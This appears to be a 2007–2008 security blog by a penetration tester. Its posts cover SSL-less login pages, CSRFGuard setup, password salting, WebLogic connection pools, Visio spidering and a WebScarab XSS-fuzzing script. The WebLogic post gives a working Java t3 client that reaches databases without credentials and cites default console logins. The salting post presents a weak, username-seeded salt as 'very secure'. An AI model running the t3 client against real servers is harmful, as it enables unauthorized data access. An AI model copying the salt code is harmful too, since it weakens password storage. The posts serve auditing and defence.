2008-10-09

No longer confident.

This is something that has really started to annoy me ever since I realized it. It came to me while I was playing with ettercap filters. For those who don't know you can use ettercap to perform ARP spoofing and MiTM attacks. etterap filters give you the added functionality to modify any traffic going to and from the victim or victims that you are ARP Spoofing. This has been fun to do things like replace all the images in webpages that your co-worker has been viewing with your own image that you host. Like the following.


image


Thats fun and all but now I have noticed something that ALOT of websites including many financial institutions are doing. They are trying (i assume) to make their home pages load faster by not SSL'ing their home page but still providing login functionality on this page. They usually have a JavaScript fuction that actually submits your credentials over SSL or it could be in a form. So it occurred to me that anyone who happens to be on my same subnet can ARP spoof me and change the javascript . The javascript could be modified to intercept my credentials, send them to another server, and still log me in and I would never know it. In fact i'm not sure of anything that most users can do to know that they are not a victim.




This is a poor coding practice that takes away all the visual cues that browsers are putting in place to ensure that you are sending your credentials over a secure link and training users not too look for them. Its not that hard to have a button that says "click here to sign in" to redirect you to an SSL'd login page. I have seen some sites that are ssl's but load some of their javascript from non-ssl'd sources which could allow for session stealling from sites that do set their cookies securly. My recomendations to developers are:

1. Only allow your users to enter crendentials on an SSL'd page.

2. Once users are on a secure section of the site then load all your javascript, images, or any other included content from only ssl'd sources as well.


image

image

2008-06-12

CSRFGuard Take 2

Well I been doing a little more experimentation with CSRFGuard and realized I have a flawed configuration in my last post. I figured that the initial page (say your login page) had to be outside your CSRF protected filter because you do not have a session and therefore no csrf token and the filter would fail. But it fails open. At first I thought this was a flaw but this makes perfect sense. You can now protect all your content with one csrf filter and not have to keep a special directory unprotected for your login pages and the like.

 

Another trick that CSRFGuard does is to automatically add your csrf token to your links in most cases. This makes it easier to integrate csrfguard into an existing application and makes it trivial to ensure that every request is sending the csrftoken without you having to code around it. I found that for some dynamically generated code like response.sendRedirect("index.jsp"); this will not work without a little help.

 

There are a few different response handlers that you can set in the csrfguard.properties for CSRFGuard to automatically add your token to your html. They are:

org.owasp.csrfguard.handlers.HTMLParserHandler will automatically parse the html response for a urls to attach the csrf token. This is performed server side.

org.owasp.csrfguard.handlers.RegExHandler will allow you to specify a regular expression that be searched in the html response and the append the token to the match. This action again is performed on the server side. I have not tried this one yet.

org.owasp.csrfguard.handlers.JavaScriptHandler will include javascript to your response (csrf.js). This will append csrf tokens on the client and save you some processor time on the server.

 

The Example

I will walk you through my example that consists of a login page and 2 csrf protected areas.

Here is my basic login page. It does 3 things. (1)If there isn't a session then you are presented with the logon page.(2) if you are submitting your credentials then it checks your credentials then it adds the generated csrf token and your userid to the session. The later is solely to represent a user and nothing to do with csrf guard. Ideally this app would query a sql database or ldap but i'm trying to keep it simple. (3) If you are logged in already and access the logon page then you are redirected back to the csrfProtectedArea1.do

 

<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
    pageEncoding="ISO-8859-1"%>
<jsp:directive.page import="org.owasp.csrfguard.util.*"/>
<jsp:directive.page import="javax.servlet.http.*"/>

<%@ page session="true" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>LogIn Page</title>
</head>
<body>

<%

String login ="";
String username = "";
String  password = "";

login = request.getParameter("Login");

// Login is set to 1 when the credentials are sent. not really necessary.

if(login != null && login.equals("1"))
{
    username = request.getParameter("username");
    password = request.getParameter("password");
    if(username != null && password != null && username.equals("Guest") && password.equals("Guest1"))
    {
        HttpSession sess = request.getSession(true);
        sess.setAttribute("uid", "1111");
        response.sendRedirect("/CSRFTest/csrfProtectedArea1.do?OWASP_CSRFTOKEN=" + request.getParameter("OWASP_CSRFTOKEN") );
    }
    else  // login failed
    {
        out.write("<h3> Error: Please Log in again </h3><br>");
        out.write("<h1>Please Login Below</h1>");
        out.write("<form method=\"POST\" action=\"index.jsp\">");
        out.write("<br> User Name: <input type=\"text\" name=\"username\">");
        out.write("<br> Password:  <input type=\"password\" name=\"password\">");
        out.write("<input type=\"hidden\" name=\"Login\" value=\"1\">");
        out.write("<br> <input type=\"submit\" name=\"loginBtn\" value=\"Login\" >    ");
        out.write("</form>");
    }
}
else if (request.getSession().getAttribute("uid") != null && request.getSession().getAttribute("uid").equals("1111"))
{

//session is active that the userid matches.
    HttpSession sess = request.getSession(true);
    response.sendRedirect("/CSRFTest/csrfProtectedArea1.do?OWASP_CSRFTOKEN=" + sess.getAttribute("OWASP_CSRFTOKEN") );
    //response.sendRedirect("/CSRFTest/csrfServlet.do");
}
else
{

// normal login when a session is not present

        out.write("<h1>Please Login Below.</h1>");
        out.write("<form  method=\"POST\" action=\"index.jsp\">");
        out.write("<br> User Name: <input type=\"text\" name=\"username\">");
        out.write("<br> Password:  <input type=\"password\" name=\"password\">");
        out.write("<input type=\"hidden\" name=\"Login\" value=\"1\">");
        out.write("<br> <input type=\"submit\" name=\"loginBtn\" value=\"Login\" >    ");
        out.write("</form>");
}

%>

</body>
</html>

 

Automatic Generation of Tokens

Now in the above code you will notice the following:

response.sendRedirect("/CSRFTest/csrfProtectedArea1.do?OWASP_CSRFTOKEN=" + request.getParameter("OWASP_CSRFTOKEN") );

I'm calling the request.getParamter but my form submission looks like this with no csrf token parameter because the filter will add it to the html automatically.

        out.write("<h1>Please Login Below.</h1>");
        out.write("<form  method=\"POST\" action=\"index.jsp\">");
        out.write("<br> User Name: <input type=\"text\" name=\"username\">");
        out.write("<br> Password:  <input type=\"password\" name=\"password\">");
        out.write("<input type=\"hidden\" name=\"Login\" value=\"1\">");
        out.write("<br> <input type=\"submit\" name=\"loginBtn\" value=\"Login\" >    ");
        out.write("</form>");

 

My generated html on the client for the the login page looks like this:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>LogIn Page</title>
</head>
<body><h1>Please Login Below.</h1><form  method="POST" action="index.jsp"><br> User Name: <input type="text" name="username"><br> Password:  <input type="password" name="password"><input type="hidden" name="Login" value="1"><br> <input type="submit" name="loginBtn" value="Login" >    <INPUT type=hidden name=OWASP_CSRFTOKEN value=eKKqjn7Pqm6GLvc7bCMoYCwPbpFhXDcQSIKVnvLutX8T></form>

</body>
</html>

 

As you can see the <INPUT type=hidden name=OWASP_CSRFTOKEN value=eKKqjn7Pqm6GLvc7bCMoYCwPbpFhXDcQSIKVnvLutX8T> is automatically generated by the HTMLParseHandler

Now lets look at the csrfProtectedArea1.java. This page is session protected and csrf protected.

import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;
import org.apache.jasper.runtime.*;

public class csrfProtectedArea1 extends HttpServlet {
    /**
     *
     */
    private static final long serialVersionUID = -6429166168752177032L;

    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException
    {

        HttpSession sess = request.getSession();
        if(sess.getAttribute("uid")!= null && sess.getAttribute("uid").equals("1111"))
        {
            response.setContentType("text/html");
            PrintWriter out = response.getWriter();
            out.println("<html>");
            out.println("<body>");
            out.println("You Made it<br>");
            out.println("<a href=\"csrfProtectedArea2.jsp\" > Click Here </a>");
            out.println("<a href=\"index.jsp\" > Click Here </a>");
            out.println("</body>");
            out.println("</html>");
        }
        else
        {
            response.sendRedirect("/CSRFTest/error.jsp");
        }
    }
}

The generated html from this looks like the following.

<html>
<body>
You Made it<br>
<a href="csrfProtectedArea2.jsp?OWASP_CSRFTOKEN=eKKqjn7Pqm6GLvc7bCMoYCwPbpFhXDcQSIKVnvLutX8T&OWASP_CSRFTOKEN=eKKqjn7Pqm6GLvc7bCMoYCwPbpFhXDcQSIKVnvLutX8T" > Click Here </a>
<a href="index.jsp?OWASP_CSRFTOKEN=eKKqjn7Pqm6GLvc7bCMoYCwPbpFhXDcQSIKVnvLutX8T&OWASP_CSRFTOKEN=eKKqjn7Pqm6GLvc7bCMoYCwPbpFhXDcQSIKVnvLutX8T" > Click Here </a>
</body>
</html>

I have two links in this response. One goes back to the login page (index.jsp) and the other goes to another csrf protected area. As you can see the response handler automatically updates all links found in the html with the csrf token. One error I keep getting is that the first link gets 2 tokens added to it. I have not figured this out yet but it does not prevent the application for functioning properly.

 

CSRFGuard Handles the Attack

One other cool thing about csrfGuard is that if you submit a request with a missing or incorrect token CSRFGuard will invalidate your session and redirect you to the error page defined in the csrfguard.properties file.

One problem I have found with this is in the logging. For instance here is an example log file from a failed csrf request.

 

Jun 12, 2008 12:12:31 AM org.apache.catalina.core.ApplicationContext log
INFO: [CSRFGuard] the following properties were loaded into CSRFGuard
     Debug:            true
     ResponseHandler:    org.owasp.csrfguard.handlers.HTMLParserHandler
     Token Name:        OWASP_CSRFTOKEN
     Token Length:        32
     PRNG:            SHA1PRNG
     Action Count:        3
        Action(0)    org.owasp.csrfguard.actions.Redirect
        Action(1)    org.owasp.csrfguard.actions.Log
        Action(2)    org.owasp.csrfguard.actions.Invalidate

Jun 12, 2008 12:14:28 AM org.apache.catalina.core.ApplicationContext log
INFO: [CSRFGuard] the following properties were loaded into CSRFGuard
     Debug:            true
     ResponseHandler:    org.owasp.csrfguard.handlers.HTMLParserHandler
     Token Name:        OWASP_CSRFTOKEN
     Token Length:        32
     PRNG:            SHA1PRNG
     Action Count:        3
        Action(0)    org.owasp.csrfguard.actions.Redirect
        Action(1)    org.owasp.csrfguard.actions.Log
        Action(2)    org.owasp.csrfguard.actions.Invalidate

Jun 12, 2008 12:14:59 AM org.apache.catalina.core.ApplicationContext log
INFO: [CSRFGuard] caught CSRF attack (IP: 0:0:0:0:0:0:0:1 Method: GET URI: %2FCSRFTest%2FcsrfProtectedArea1.do Referer:  Parameters: OWASP_CSRFTOKEN%3DPzEIce4raEWbtC97i8oMgf3Y2yJjf1A1XriZ7GcWaLU)
Jun 12, 2008 12:16:36 AM org.apache.catalina.core.ApplicationContext log
INFO: [CSRFGuard] caught CSRF attack (IP: 0:0:0:0:0:0:0:1 Method: GET URI: %2FCSRFTest%2F Referer:  Parameters: )
Jun 12, 2008 12:17:00 AM org.apache.catalina.core.ApplicationContext log
INFO: [CSRFGuard] caught CSRF attack (IP: 0:0:0:0:0:0:0:1 Method: POST URI: %2FCSRFTest%2Findex.jsp Referer: http%3A%2F%2Flocalhost%3A8080%2FCSRFTest%2Findex.jsp%3FOWASP_CSRFTOKEN%3DOX7CJcASSH10DsQFhHQy6nIBHbuYWeXRguxeCjLch5Iu Parameters: password%3DGuest1%2COWASP_CSRFTOKEN%3DOX7CJcASSH10DsQFhHQy6nIBHbuYWeXRguxeCjLch5I%2CLogin%3D1%2CloginBtn%3DLogin%2Cusername%3DGuest)

 

It will log all parameters from the failed request which in this case will log the username and password of the user. Something to consider if deploying CSRFGuard to a production system.

 

Additional Information

Below are the csrfguard.properties and the web.xml i used.

csrfguard properties file:

org.owasp.csrfguard.Debug=true
org.owasp.csrfguard.ResponseHandler=org.owasp.csrfguard.handlers.HTMLParserHandler
org.owasp.csrfguard.TokenName=OWASP_CSRFTOKEN
org.owasp.csrfguard.TokenLength=32
org.owasp.csrfguard.PRNG=SHA1PRNG
org.owasp.csrfguard.action.class.Log=org.owasp.csrfguard.actions.Log
org.owasp.csrfguard.action.class.Invalidate=org.owasp.csrfguard.actions.Invalidate
org.owasp.csrfguard.action.class.Redirect=org.owasp.csrfguard.actions.Redirect
org.owasp.csrfguard.action.class.Redirect.param.ErrorPage=error.jsp

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:web="http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
  <display-name>CSRFTest</display-name>
  <welcome-file-list>
    <welcome-file>index.html</welcome-file>
    <welcome-file>index.htm</welcome-file>
    <welcome-file>index.jsp</welcome-file>
    <welcome-file>default.html</welcome-file>
    <welcome-file>default.htm</welcome-file>
    <welcome-file>default.jsp</welcome-file>
  </welcome-file-list>
<filter>
  <filter-name>CSRFGuard</filter-name>
  <filter-class>org.owasp.csrfguard.CSRFGuardFilter</filter-class>
    <init-param>
      <param-name>config</param-name>
      <param-value>WEB-INF/csrfguard.properties</param-value>
    </init-param>
</filter>

<filter-mapping>
<filter-name>CSRFGuard</filter-name>
<servlet-name>csrfProtectedArea1</servlet-name>
</filter-mapping>

<filter-mapping>
<filter-name>CSRFGuard</filter-name>
<url-pattern>*.do</url-pattern>
</filter-mapping>

<filter-mapping>
<filter-name>CSRFGuard</filter-name>
<url-pattern>*.jsp</url-pattern>
</filter-mapping>

  <servlet>
      <servlet-name>csrfProtectedArea1</servlet-name>
      <servlet-class>csrfProtectedArea1</servlet-class>
  </servlet>
  <servlet-mapping>
      <servlet-name>csrfProtectedArea1</servlet-name>
      <url-pattern>/csrfProtectedArea1.do</url-pattern>
  </servlet-mapping>
  </web-app>

2008-06-05

CSRFGuard Testing

Well I have been playing with CSRFGuard lately from the OWASP website. Its basically allows you to set up certain pages that are CSRF protected and whenever a link is selected the http request is parsed for a token that you define and checks if that token is in your session. Below is some sample code all running on Tomcat 6X. I'm not sure if I have this completely the way they intended but it works.


Example CSRFGuard.properties:

org.owasp.csrfguard.Debug=true
org.owasp.csrfguard.ResponseHandler=org.owasp.csrfguard.handlers.JavaScriptHandler
org.owasp.csrfguard.TokenName=OWASP_CSRFTOKEN
org.owasp.csrfguard.TokenLength=32
org.owasp.csrfguard.PRNG=SHA1PRNG
org.owasp.csrfguard.action.class.Log=org.owasp.csrfguard.actions.Log
org.owasp.csrfguard.action.class.Invalidate=org.owasp.csrfguard.actions.Invalidate
org.owasp.csrfguard.action.class.Redirect=org.owasp.csrfguard.actions.Redirect
org.owasp.csrfguard.action.class.Redirect.param.ErrorPage=error.jsp

You can name the org.owasp.csrfguard.TokenName can be set to what ever you want as long as you set it in your code.

Example web.xml:

My Web.xml. Here you define the location and name of the csrfguard.properties and the resources that you wish to protect with CSRFGuard. Here I am protecting the csrfServlet.



<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:web="http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
  <display-name>CSRFTest</display-name>
  <welcome-file-list>
    <welcome-file>index.html</welcome-file>
    <welcome-file>index.htm</welcome-file>
    <welcome-file>index.jsp</welcome-file>
    <welcome-file>default.html</welcome-file>
    <welcome-file>default.htm</welcome-file>
    <welcome-file>default.jsp</welcome-file>
  </welcome-file-list>
<filter>
  <filter-name>CSRFGuard</filter-name>
  <filter-class>org.owasp.csrfguard.CSRFGuardFilter</filter-class>
    <init-param>
      <param-name>config</param-name>
      <param-value>WEB-INF/csrfguard.properties</param-value>
    </init-param>
</filter>

<filter-mapping>
<filter-name>CSRFGuard</filter-name>
<servlet-name>csrfServlet</servlet-name>
</filter-mapping>

<filter-mapping>
<filter-name>CSRFGuard</filter-name>
<url-pattern>*.do</url-pattern>
</filter-mapping>

  <servlet>
      <servlet-name>csrfServlet</servlet-name>
      <servlet-class>csrfServlet</servlet-class>
  </servlet>
  <servlet-mapping>
      <servlet-name>csrfServlet</servlet-name>
      <url-pattern>/csrfServlet.do</url-pattern>
  </servlet-mapping>
  </web-app>

Example Login Page:

My Login page (kinda). This page should not be inside the CSRFGuard filter defined in the web.xml. I actually don't log in but establish a session and add my OWASP_CSRFTOKEN to my session.


<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
    pageEncoding="ISO-8859-1"%>
<jsp:directive.page import="org.owasp.csrfguard.util.*"/>
<jsp:directive.page import="javax.servlet.http.*"/>

<%@ page session="true" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>Insert title here</title>
</head>
<body>

<%
TokenGenerator token = new TokenGenerator();
HttpSession sess = request.getSession(true);
String csrf = token.generateCSRFToken("SHA1PRNG",32);
sess.setAttribute("OWASP_CSRFTOKEN", csrf);

%>
<a href="/CSRFTest/csrfServlet.do?OWASP_CSRFTOKEN=<%=csrf %>" > Click me to get to Protected Site </a
>

</body>
</html>

Protected Servlet:

Below is my csrfServlet.java. There is really nothing in this code except a message stating that you made it this far.

import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;
import org.apache.jasper.runtime.*;

public class csrfServlet extends HttpServlet {
    /**
     *
     */
    private static final long serialVersionUID = -6429166168752177032L;

    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException
    {

        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        out.println("<html>");
        out.println("<body>");
        out.println("You Made it");
        out.println("</body>");
        out.println("</html>");
    }
}

Now I have it a working CSRF filter. For this to work all my links need to be dynamically generated to include OWASP_CSRFTOKEN=blah as in my login page or Posted through hidden fields in a form.

My questions now are:
How well will this work in a clustered environment?
How to ensure that the application has been carefully coded not to give up the CSRFToken by accident. I'm working on a proof of concept for this one.

Let me know if there is anyone else out there using CSRFGuard and your experiences with it.

2008-05-07

Secure salt, for tasty hashes

There is a right way and a less secure way to salt. I have heard all kinds of reasons to salt but let’s remember that this only stops someone from using a dictionary attack against your hashes. I have heard some blog posts say that this prevents rainbow table attacks which I believe is inaccurate. Consider the following. I have a salt ‘12345678901234567890’. Now I will combine passwords like this 12345678901234567890 + password. Now I will sha256 it and get JLKyuoTkWpu1nKzx24By0G45ACAQg9XvJIAbYXT0mo8= . I do the same thing with the password being password2 which equals vwXZcCYEybvlfdm1xwOXnrXo0sWX+f634njY3SMVyaI= .

For a rainbow table to work I need generate a large set of data, hash that data, then compare hashes with the compromised data. If the hashes match I return the value of the generated data.
Now at this point ignore the computational time and storage. If I do a brute force and compute hashes for the rainbow and notice the following:

JLKyuoTkWpu1nKzx24By0G45ACAQg9XvJIAbYXT0mo8= returns 12345678901234567890password

and

vwXZcCYEybvlfdm1xwOXnrXo0sWX+f634njY3SMVyaI= returns 12345678901234567890password2

If I could find just two or three numbers with the same salt then i would not have to calculate the entire space N character space. I can deduce that the salt is 12345678901234567890 since each number begins with it. Now that I know the salt i can begin doing dictionary attacks with the salt + 'dictionary word' or compute every possible combination of salt + alphanumeric characters.

One other thing I would like to point out is that if i could pre-calculate the entire space(salt + password) then I can identify collisions this way as well. If I notice a lot of numbers that begin with 12345678901234567890 and just a few that do not then the few that do not I can ignore as erroneous or try to find a match to a value later in the rainbow table.

Now I will point out possible hashing scenarios and what it would take to brute force them.



Scenario 1: Known salt, known passwords requirements.
Lets say I have compromised a database of sha1 password hashes with a password length that must be exactly 8 char alphanumeric. I know the salt so now I only need to calculate
64^8. I need to calculate 281474976710656 hashes. On my machine it takes 2.57952379422524 seconds to calculate 1,000,000 sha1 hashes. So I can calculate the entire space in .. 17.5713 years! Sounds like a lot but if I can recruit a bot net or distributed computing then I can take 100 machines to calculate the space in about 63 days.


Scenario 2: Different salt for every hash, known salt, and known password requirements. A much better way!

Now to figure out one password hash I need to compute the entire space with the unique salt to get one password. I assume here that the salt is public like the username or database creation date. Some value that is readily available from the compromised database So using the same logic as before but I will need 63 days for EACH password using a distributed computing system. This is much more time consuming to compute and therefore more secure.



Scenario 3: Unique salt that is long and algorithmically calculated for every hash.

Below is an example code of what I believe is a very secure hashing implementation based on Scenario 2 but with the salt algorithmically generated. It is written in c#. I use the username to generate a value that acts as a seed to a random number generator. I concatenate multiple generated random numbers to create my salt. Then prepend to the salt to the password before hashing. For a rainbow table to be computed and the algorithm to compute the salt is unknown the user would have to calculate roughly 64^45 possible combinations or more. Of course if the algorithm is known then the scenario is identical to Scenario 2. This code allows you to create very long yet unique salts for every password hash.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Security.Cryptography;
using System.Diagnostics;

namespace crypto
{
class Program
{
static void Main(string[] args)
{
string username = "ascetik";
string clearText = "password";
byte[] userBytes;
string salt;
byte[] saltandclear;
byte[] cipherText;
string hashedString = "";


//Generate the salt. This could be any algorithm you choose. I took
// the username, converted to a byte array, then XORed the bytes together.
// I took the xored result as the seed to my random number generator.
// Then i used the result of the PRG as my salt.
userBytes = ASCIIEncoding.ASCII.GetBytes(username);
long XORED = 0x00;
foreach (int x in userBytes)
XORED = XORED ^ x;

Random rand = new Random(Convert.ToInt32(XORED));
salt = rand.Next().ToString();
salt += rand.Next().ToString();
salt += rand.Next().ToString();
salt += rand.Next().ToString();

//prepend the salt to the clear text and convert to byte array
saltandclear = ASCIIEncoding.ASCII.GetBytes(salt + clearText);
Console.Out.WriteLine(“salt + password length:” + saltandclear.Length);
//compute sha256 hash
SHA256 sha256 = new SHA256Managed();
cipherText = sha256.ComputeHash(saltandclear);


Console.Out.WriteLine(Convert.ToBase64String(cipherText));
Console.In.ReadLine();


}
}
}





Conclusion
Using a unique salt, that is algorithmically created, for each hash could drastically improve the confidentiality of a system. I better way would be to run a mixing algorithm like a hash over the data and using the result as the password to hash or hashing twice. With this option even if all the hashes where matched to entries in the rainbow table the data would still be useless. But the con to this is that it could increase the chance for data collisions and is not recommended. I’ll leave this up to the crypto experts to figure out. It seems that for now that Scenario 2 and 3 are efficient mitigation against rainbow table and dictionary attacks attacks.






Explanation of numbers:
Alpha chars = 26
Upper and lower case chars = 2*26= 52
Numbers = 10
All Possible Alphanumeric with 8 chars = (52 +10)^8
All Possible characters that are exactly 8 characters in length = 62^8








Slashdot Slashdot It!

2008-03-03

Fun With WebLogic Connection Pools- Free database connections

I have found a huge mis-configuration in the several of the WebLogic Servers that I audit. Most applications that are running on WebLogic use something called Database Connection Pools. These are database connections that the WebLogic server makes and the applications configured within WebLogic can use. You configure all these database credentials inside the WebLogic console so that the application doe not need to have access to these credentials to run queries, update, delete, etc. This can be great from a security policy standpoint in that you don't have to have developers being knowledgeable of the production database credentials for the app to function. This is also the root of the problem if the WebLogic server has not enabled connection filters.


WebLogic has a proprietary protocol called t3. This protocol will allow an improperly configured WebLogic instance accept connections from anywhere and any server. This means you can access the database through WebLogic without providing any database credentials. There are only 3 pieces of information that you need to know.


  1. the server name (easy to get).
  2. the port that WebLogic is listening on to accept t3 connections. Sometimes 7001 sometimes something else. I usually do an nmap scan of the server and then try connections over t3 until I get a proper connection or an error that implies i have made the connection but my datasource is incorrect.
  3. Know the datasouce name. This can be hard. Most apps name the datasource something like AppNameData source. If you where looking at a Creditcard application. It could be ccDataSource or CreditCardDatasource or just Creditcard. This can take some trial an error unless =) they have not changed the weblogic console default username and password weblogic/weblogic. The url to the weblogic console is http://yourappserver:7001/console. If this does not yield results then do an nmap scan and try connecting to ports till you get the admin console.

Below is an example of creating a t3 client to connect to WebLogic and then query the systables in a DB2 database. You can modify the code to work with any database you need. As you can see i never provide credentials and i still have access to the database.






import java.util.*;
import java.math.BigDecimal;
import java.sql.*;
import javax.naming.*;
import java.sql.Connection;

public class DataTest
{
public static void main(String[] args)
{
InitialContext ctx = null;
Connection connection = null;
Statement stmt = null;
ResultSet rs = null;
Hashtable ht = null;
String status = null;
String resCode = null;
String retCode = null;
String retMsg = null;
BigDecimal sqlCode = null;
String serverName = "yourservername.com:andPort";
String dataSource = "YourDataSource";

try
{
ht = new Hashtable();
ht.put(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
ht.put(Context.PROVIDER_URL, "t3://" + serverName);
ctx = new InitialContext(ht);
connection = ((javax.sql.DataSource)ctx.lookup( dataSource )).getConnection();

// check for excessive permissions in db2
String sql = "select name, creator, colcount from sysibm.systables";

//find the username you are conneting with in weblogic
//String sql = "select user,1,1 from sysibm.sysdummy1";

// normal check but you must know the db owner and table name for db2
//String sql = "select col1, col2, col3 from dbowner.dbtableName";




stmt = connection.createStatement();
rs = stmt.executeQuery(sql);
while(rs.next())
System.out.println(rs.getString(1) + " - " + rs.getString(2) + " - " + rs.getString(3));



}
catch(Exception e)
{
e.printStackTrace();
}
finally
{
try
{
if(stmt!=null)
stmt.close();
stmt = null;

if(connection!=null)
connection.close();
connection = null;

if(ctx!=null)
ctx.close();
ctx = null;
}
catch(Exception e)
{
e.printStackTrace();
}
}
}
}

Example of pulling database tables from Eclipse:



here is an example of a good error message from your client. This will let you know that you have been successful in finding a weblogic connection pool but do not have a valid datasource name. Here the invalid datasource name was called testSource.



javax.naming.NameNotFoundException: Unable to resolve 'testSource'. Resolved '' [Root exception is javax.naming.NameNotFoundException: Unable to resolve 'testSource'. Resolved '']; remaining name 'testSource'
at weblogic.rjvm.BasicOutboundRequest.sendReceive(BasicOutboundRequest.java:108)
at weblogic.rmi.cluster.ReplicaAwareRemoteRef.invoke(ReplicaAwareRemoteRef.java:290)
at weblogic.rmi.cluster.ReplicaAwareRemoteRef.invoke(ReplicaAwareRemoteRef.java:247)
at weblogic.jndi.internal.ServerNamingNode_814_WLStub.lookup(Unknown Source)
at weblogic.jndi.internal.WLContextImpl.lookup(WLContextImpl.java:371)
at weblogic.jndi.internal.WLContextImpl.lookup(WLContextImpl.java:359)
at javax.naming.InitialContext.lookup(Unknown Source)
at DataTest.main(DataTest.java:35)
Caused by: javax.naming.NameNotFoundException: Unable to resolve 'testSource'. Resolved ''
at weblogic.jndi.internal.BasicNamingNode.newNameNotFoundException(BasicNamingNode.java:1139)
at weblogic.jndi.internal.BasicNamingNode.lookupHere(BasicNamingNode.java:252)
at weblogic.jndi.internal.ServerNamingNode.lookupHere(ServerNamingNode.java:171)
at weblogic.jndi.internal.BasicNamingNode.lookup(BasicNamingNode.java:206)
at weblogic.jndi.internal.RootNamingNode_WLSkel.invoke(Unknown Source)
at weblogic.rmi.internal.BasicServerRef.invoke(BasicServerRef.java:548)
at weblogic.rmi.cluster.ClusterableServerRef.invoke(ClusterableServerRef.java:224)
at weblogic.rmi.internal.BasicServerRef$1.run(BasicServerRef.java:438)
at weblogic.security.acl.internal.AuthenticatedSubject.doAs(AuthenticatedSubject.java:363)
at weblogic.security.service.SecurityManager.runAs(SecurityManager.java:147)
at weblogic.rmi.internal.BasicServerRef.handleRequest(BasicServerRef.java:434)
at weblogic.rmi.internal.BasicServerRef.access$300(BasicServerRef.java:57)
at weblogic.rmi.internal.BasicServerRef$BasicExecuteRequest.run(BasicServerRef.java:965)
at weblogic.work.ExecuteThread.execute(ExecuteThread.java:209)
at weblogic.work.ExecuteThread.run(ExecuteThread.java:181)



This problem is easy to fix. Just enable connection filers in your weblogic console and your done!.
http://edocs.bea.com/wls/docs81/secmanage/domain.html












Slashdot Slashdot It!

2007-12-09

Visio's Built in Web Spider

There is this really great feature in visio 2003 that is excellent for website spidering and mapping. I rarely find a need for a microsoft product but this one is actually very useful. If you have installed the web diagram options for visio then you can start a web site map. As soon as you select this link you are prompted for a URL. After entering the URL visio will spider the entire site and create a nice mapping of most areas of the site. It even shows you broken links. The only problem is that currently i dont see a way to log in to protected sites automatically but you can click on a node from the generated Visio and start interactive mode. This will start a browser in visio that will allow you to log in and navigate the site as well as record your movements on the visio diagram.





This could be very useful for both blackbox and white box testing. It may even uncover parts of the site you missed during your initial investigation of your audit target. I just started looking into it so i don't know how much it will assist me but






Slashdot Slashdot It!

2007-12-08

WebScarab Scripting and Fuzzing.

I have been really busy and have therefore not posted in a while. Work has really consumed me and I was studying to take the CEH (Certified Ethical Hacker) on Dec. 1st. Which a am very proud to say that I am now a Certified Ethical Hacker! Well, I have spent a lot of time working on fuzzers and ways to make my penetration testing more efficient. I have recently discovered the scripting options in webscarab (written by Rogan Dawes) and been trying to make some use of this feature. What I wrote was simple script that once an XSS exploit has been found it will write a screen scrape of that page to the file system. This way you can quickly identify which attacks worked and which ones did not using the Fuzzer plugin within WebScarab. Here is the script:


import org.owasp.webscarab.model.ConversationID;

import org.owasp.webscarab.model.HttpUrl;

import org.owasp.webscarab.model.Request;

import org.owasp.webscarab.model.Response;

import java.text.DateFormat;

import java.text.SimpleDateFormat;

import java.io.BufferedReader;

import java.io.BufferedWriter;

import java.io.FileReader;

import java.io.FileWriter;

import javax.swing.JOptionPane;





String xssFile = "/home/ascetik/xss.txt";
// Load xss strings
DateFormat df = new SimpleDateFormat( "yyyyMMdd-hhmmss" );

String date = df.format(new java.util.Date());

String outFile = "/home/ascetik/screenScrapes/ss-" + date + ".html";
// save file based on date
BufferedReader xssStrings = new BufferedReader(new FileReader(xssFile));

BufferedWriter bfOut = new BufferedWriter(new FileWriter(outFile));

Response response = conversation.getResponse();
// conversation Response
Request request = conversation.getRequest();
// conversation Request
byte[] hexResp = response.getContent();
// get the screen scrape
String raw = new String(hexResp);
// convert it to string

// Test the Response to see if our string is echoed back
String xss;

while ((xss = xssStrings.readLine()) != null) {

if ( raw.indexOf(xss) != -1 && xss != "") {

bfOut.write(raw);

bfOut.close();

//JOptionPane.showMessageDialog(null, "Possible XSS Found");

}



}



Now let me explain. This script is run after the response is received from the server. I have a file called xss.txt that contains xss exploits that I also use as the input source for the Fuzzer plugin (i'll explain more later) but I also use it in this script to search for the strings in the server response. If the string is found in the response there is a fairly good chance the exploit was successful.
When one of the xss string is found I write an html file that is a screen scape of the response and the file name looks like “ss-20071201-041504.html”. Which is ss + the date and time down to the second.

To use this script you need to load it to the webscarab framework via Tools->Script Manager at the top of the WebScarab application.
Then there is a tree view that displays Framework->AddConversation.
Click Add at the top.
